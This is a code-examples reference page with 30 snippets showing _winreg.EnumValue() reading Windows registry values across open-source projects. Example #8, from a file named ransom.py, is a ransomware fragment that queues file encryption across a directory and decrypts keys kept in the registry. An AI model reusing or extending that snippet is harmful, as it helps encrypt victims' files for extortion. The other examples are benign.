Python _winreg.EnumValue() Examples
The following are 30
code examples of _winreg.EnumValue().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
_winreg
, or try the search function
.
Example #1
Source File: test_winsound.py From CTFCrackTools with GNU General Public License v3.0 | 6 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() is 0: return False key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) value = _winreg.EnumValue(key, 0)[1] if value is not u"": return True else: return False except WindowsError: return False
Example #2
Source File: _registry.py From pipenv with MIT License | 6 votes |
def get_all_values(self): schema = {} for subkey in self: schema[subkey.name] = subkey.get_all_values() key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) try: with key: for i in count(): vname, value, vtype = winreg.EnumValue(key, i) value = get_value_from_tuple(value, vtype) if value: schema[vname or ''] = value except OSError: pass return PythonWrappedDict(schema)
Example #3
Source File: _registry.py From pythonfinder with MIT License | 6 votes |
def get_all_values(self): schema = {} for subkey in self: schema[subkey.name] = subkey.get_all_values() key = winreg.OpenKeyEx(self._root, self.subkey, 0, winreg.KEY_READ | self._flags) try: with key: for i in count(): vname, value, vtype = winreg.EnumValue(key, i) value = get_value_from_tuple(value, vtype) if value: schema[vname or ''] = value except OSError: pass return PythonWrappedDict(schema)
Example #4
Source File: test_winsound.py From gcblue with BSD 3-Clause "New" or "Revised" License | 6 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() is 0: return False key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) value = _winreg.EnumValue(key, 0)[1] if value is not u"": return True else: return False except WindowsError: return False
Example #5
Source File: winregistry.py From cross3d with MIT License | 6 votes |
def listRegKeyValues(registry, key, architecture=None): """ Returns a list of child keys and their values as tuples. Each tuple contains 3 items. - A string that identifies the value name - An object that holds the value data, and whose type depends on the underlying registry type - An integer that identifies the type of the value data (see table in docs for _winreg.SetValueEx) Args: registry (str): The registry to look in. 'HKEY_LOCAL_MACHINE' for example key (str): The key to open. r'Software\Autodesk\Softimage\InstallPaths' for example architecture (int | None): 32 or 64 bit. If None use system default. Defaults to None Returns: List of tuples """ import _winreg regKey = getRegKey(registry, key, architecture=architecture) ret = [] if regKey: subKeys, valueCount, modified = _winreg.QueryInfoKey(regKey) for index in range(valueCount): ret.append(_winreg.EnumValue(regKey, index)) return ret
Example #6
Source File: test_winsound.py From oss-ftp with MIT License | 6 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() is 0: return False key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) value = _winreg.EnumValue(key, 0)[1] if value is not u"": return True else: return False except WindowsError: return False
Example #7
Source File: wmi.py From opsbro with MIT License | 6 votes |
def regkey_value(path, name="", start_key=None): if isinstance(path, str): path = path.split("\\") if start_key is None: start_key = getattr(winreg, path[0]) return regkey_value(path[1:], name, start_key) else: subkey = path.pop(0) with winreg.OpenKey(start_key, subkey) as handle: assert handle if path: return regkey_value(path, name, handle) else: desc, i = None, 0 while not desc or desc[0] != name: desc = winreg.EnumValue(handle, i) i += 1 return desc[1]
Example #8
Source File: ransom.py From byob with GNU General Public License v3.0 | 6 votes |
def _iter_files(rsa_key, base_dir=None): try: if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey): if base_dir: if os.path.isdir(base_dir): return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None) else: util.log("Target directory '{}' not found".format(base_dir)) else: cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key) reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ) i = 0 while True: try: filename, key, _ = _winreg.EnumValue(reg_key, i) key = cipher.decrypt(base64.b64decode(key)) globals()['tasks'].put_nowait((decrypt_file, (filename, key))) i += 1 except: _winreg.CloseKey(reg_key) break except Exception as e: util.log('{} error: {}'.format(_iter_files.__name__, str(e)))
Example #9
Source File: serialutils.py From code-for-blog with The Unlicense | 6 votes |
def enumerate_serial_ports(): """ Uses the Win32 registry to return an iterator of serial (COM) ports existing on this computer. """ path = 'HARDWARE\\DEVICEMAP\\SERIALCOMM' try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path) except WindowsError: raise StopIteration for i in itertools.count(): try: val = winreg.EnumValue(key, i) yield str(val[1]) except EnvironmentError: break
Example #10
Source File: test_winsound.py From BinderFilter with MIT License | 6 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() is 0: return False key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) value = _winreg.EnumValue(key, 0)[1] if value is not u"": return True else: return False except WindowsError: return False
Example #11
Source File: terminal.py From collection with MIT License | 6 votes |
def win32_reg_read (self, keyname, path): try: import _winreg mode = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY key = _winreg.OpenKey(keyname, path, 0, mode) count = _winreg.QueryInfoKey(key)[0] except: return None data = {} for i in range(count): try: name, value, tt = _winreg.EnumValue(key, i) except OSError as e: break data[name] = (tt, value) return data
Example #12
Source File: test_winsound.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 6 votes |
def has_sound(sound): """Find out if a particular event is configured with a default sound""" try: # Ask the mixer API for the number of devices it knows about. # When there are no devices, PlaySound will fail. if ctypes.windll.winmm.mixerGetNumDevs() is 0: return False key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound)) value = _winreg.EnumValue(key, 0)[1] if value is not u"": return True else: return False except WindowsError: return False
Example #13
Source File: terminal.py From terminal with MIT License | 6 votes |
def win32_reg_read (self, keyname, path): try: import _winreg mode = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY key = _winreg.OpenKey(keyname, path, 0, mode) count = _winreg.QueryInfoKey(key)[0] except: return None data = {} for i in range(count): try: name, value, tt = _winreg.EnumValue(key, i) except OSError as e: break data[name] = (tt, value) return data
Example #14
Source File: recipe-577381.py From code with MIT License | 6 votes |
def next(self): if self._done: raise StopIteration while True: for i in range(3): try: name, data, data_type = _winreg.EnumValue(self._key, self._index) break except WindowsError: continue else: self._done = True self._key.Close() raise StopIteration self._index += 1 rv = interpret(data_type, name) if rv is not None: return rv
Example #15
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 6 votes |
def RunEmailClient(text): """Get the path of default email client through querying the Windows registry. """ try: em_reg = _winreg.OpenKey( _winreg.HKEY_CLASSES_ROOT, "\\mailto\\shell\\open\\command" ) EmPath = _winreg.EnumValue(em_reg,0)[1] _winreg.CloseKey(em_reg) EmPath = EmPath.split('"')[1] except: eg.PrintError(text.error9) else: head, tail = os.path.split(EmPath) win32api.ShellExecute( 0, None, tail, None, head, 1 ) #===============================================================================
Example #16
Source File: win32.py From komodo-wakatime with BSD 3-Clause "New" or "Revised" License | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = winreg.QueryInfoKey(key)[1] for i in range(size): data = winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict
Example #17
Source File: registry_obj.py From Fastir_Collector with GNU General Public License v3.0 | 5 votes |
def get_value_by_name(self, name): for i in range(self.get_number_of_values()): value = EnumValue(self.key, i) if name == value[0]: return RegValue(value, name) return None
Example #18
Source File: registry.py From AltFS with BSD 3-Clause "New" or "Revised" License | 5 votes |
def get_sub_values(key): """Returns a list of all sub values under the given registry key""" index = 0 sub_values = [] while True: try: sub_values.append(_winreg.EnumValue(key, index)[0]) index += 1 except WindowsError as e: if not (hasattr(e, "winerror") and e.winerror == WIN_ERROR_NO_MORE_DATA): logger.error(e, exc_info=True) break return sub_values
Example #19
Source File: win32.py From bazarr with GNU General Public License v3.0 | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = winreg.QueryInfoKey(key)[1] for i in range(size): data = winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict
Example #20
Source File: tzwin.py From script.tv.show.next.aired with GNU General Public License v2.0 | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = _winreg.QueryInfoKey(key)[1] for i in range(size): data = _winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict
Example #21
Source File: __init__.py From butterflow with MIT License | 5 votes |
def get_local_machine_registry_subkeys(name): # print("Keys at %s:" % name) try: with winreg.OpenKey(REG_HIVE, name, 0, winreg.KEY_READ) as key: for i in itertools.count(): yield winreg.EnumValue(key, i) except WindowsError as error: # print(error) yield None
Example #22
Source File: windows.py From mbed-os-tools with Apache License 2.0 | 5 votes |
def _iter_vals(key): """! Iterate over values of a key """ logger.debug("_iter_vals %r", key) for i in range(winreg.QueryInfoKey(key)[1]): yield winreg.EnumValue(key, i)
Example #23
Source File: win32.py From Tautulli with GNU General Public License v3.0 | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = winreg.QueryInfoKey(key)[1] for i in range(size): data = winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict
Example #24
Source File: environment.py From natto-py with BSD 2-Clause "Simplified" License | 5 votes |
def __regkey_value(self, path, name='', start_key=None): r'''Return the data of value mecabrc at MeCab HKEY node. On Windows, the path to the mecabrc as set in the Windows Registry is used to deduce the path to libmecab.dll. Returns: The full path to the mecabrc on Windows. Raises: WindowsError: A problem was encountered in trying to locate the value mecabrc at HKEY_CURRENT_USER\Software\MeCab. ''' if sys.version < '3': import _winreg as reg else: import winreg as reg def _fn(path, name='', start_key=None): if isinstance(path, str): path = path.split('\\') if start_key is None: start_key = getattr(reg, path[0]) return _fn(path[1:], name, start_key) else: subkey = path.pop(0) with reg.OpenKey(start_key, subkey) as handle: if path: return _fn(path, name, handle) else: desc, i = None, 0 while not desc or desc[0] != name: desc = reg.EnumValue(handle, i) i += 1 return desc[1] return _fn(path, name, start_key)
Example #25
Source File: list_ports_windows.py From AstroBox with GNU Affero General Public License v3.0 | 5 votes |
def enumerate_active_serial_ports(): """ Uses the Win32 registry to return an iterator of serial (COM) ports existing on this computer. NB: When windows resets, it removes the SERIALCOMM key. This means that if we try to scan before anything has been plugged in, we will raise COMPORTAccessErrors. Its expected that the layer on top of this one will catch those errors and report back accordingly. """ path = 'HARDWARE\\DEVICEMAP\\SERIALCOMM' try: #Opening the KEY to a certain path key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path) except WindowsError: raise COMPORTAccessError #For each value attached to the above key for i in itertools.count(): try: #Get the next value and yield it val = winreg.EnumValue(key, i) yield val #We are done traversing this tree except EnvironmentError: break
Example #26
Source File: tzwin.py From SmartAlarmClock with MIT License | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = _winreg.QueryInfoKey(key)[1] for i in range(size): data = _winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict
Example #27
Source File: regobj.py From NVDARemote with GNU General Public License v2.0 | 5 votes |
def next(self): try: v = _winreg.EnumValue(self.key.hkey,self.index) except WindowsError: raise StopIteration else: self.index += 1 return Value(v[1],v[0],v[2])
Example #28
Source File: win32.py From plugin.video.iptv.recorder with GNU General Public License v3.0 | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = winreg.QueryInfoKey(key)[1] for i in range(size): data = winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict
Example #29
Source File: recipe-502268.py From code with MIT License | 5 votes |
def vals(self): # returns the list of values if not self._vals: self._vals=[] for i in xrange(reg.QueryInfoKey(self.wrk)[1]): try: self._vals.append(Val(self, *reg.EnumValue(self.wrk, i))) except WindowsError: pass return self._vals
Example #30
Source File: win32.py From xbmc-addons-chinese with GNU General Public License v2.0 | 5 votes |
def valuestodict(key): """Convert a registry key's values to a dictionary.""" dict = {} size = winreg.QueryInfoKey(key)[1] for i in range(size): data = winreg.EnumValue(key, i) dict[data[0]] = data[1] return dict